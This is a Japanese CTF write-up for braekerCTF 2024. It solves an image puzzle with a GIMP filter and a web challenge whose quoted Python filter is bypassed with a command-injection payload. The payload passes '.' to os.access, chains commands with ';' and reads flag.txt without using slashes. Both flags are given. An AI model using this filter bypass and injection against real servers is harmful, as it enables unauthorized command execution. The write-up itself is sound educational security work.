🤖
braekerCTF 2024 writeup
[Programming / Misc] Eye Doctor
以下のような画像が与えられました。
Aperi Solve にかけても特に何も分かりませんでした。
とりあえず、GIMPで編集されていたようなので、自分もGIMPを使って色々フィルターをかけてみました。
エンボスというフィルターをかけたところ、以下のように文字が浮き出てきました。
少し読みづらいですが文脈で補正します。
brck{4ppr04ch1tfr0M4D1ff3r3ntAngl3}
[Webservices] Empty execution
フィルターに引っかからずに、サーバー側でコマンドを実行してflag.txt
を閲覧する問題でした。
コマンドは以下のように3つのフィルターで制限されています。
# Length check
if len(command) < 5:
return jsonify({'message': 'Command too short'}), 501
# Perform security checks
if '..' in command or '/' in command:
return jsonify({'message': 'Hacking attempt detected'}), 501
# Find path to executable
executable_to_run = command.split()[0]
# Check if we can execute the binary
if os.access(executable_to_run, os.X_OK):
# Execute binary if it exists and is executable
out = os.popen(command).read()
return jsonify({'message': 'Command output: ' + str(out)}), 200
各フィルターの条件については以下の通りです。
- 5文字以上
-
..
と/
は使えない - コマンドと引数に分けた時、コマンドの部分が実行可能である
また、3つ目のフィルターについては、実行可能なコマンド(バイナリ)がexecutables
ディレクトリ内のものに制限されているようです。
以下、flagを得るためのコマンドです。
{
"command":". ;flagfile=$(echo $(pwd | cut -c -13)flag.txt);cat $flagfile"
}
コマンドを実行する上で、3つ目のフィルターが邪魔になりますが、3つ目のフィルターに用いられるos.access()は第一引数に渡されたpathが実行可能かを判定するだけなので、executables
ディレクトリ内にある(どんなディレクトリにもある).
をos.access()に渡せば回避できます。
その後は;
でつないで好きなコマンドを実行できるのでflag.txtをcatで読み込んでフラグを取得します。ただ、2つ目のフィルターによって..
と/
は使えないので、カレントディレクトリ/usr/src/app/executables
からexecutables
を削除してflag.txt
を付け加えてパスを指定しています。
brck{Ch33r_Up_BuddY_JU5t_3x3Cut3_4_D1reCT0ry}
Discussion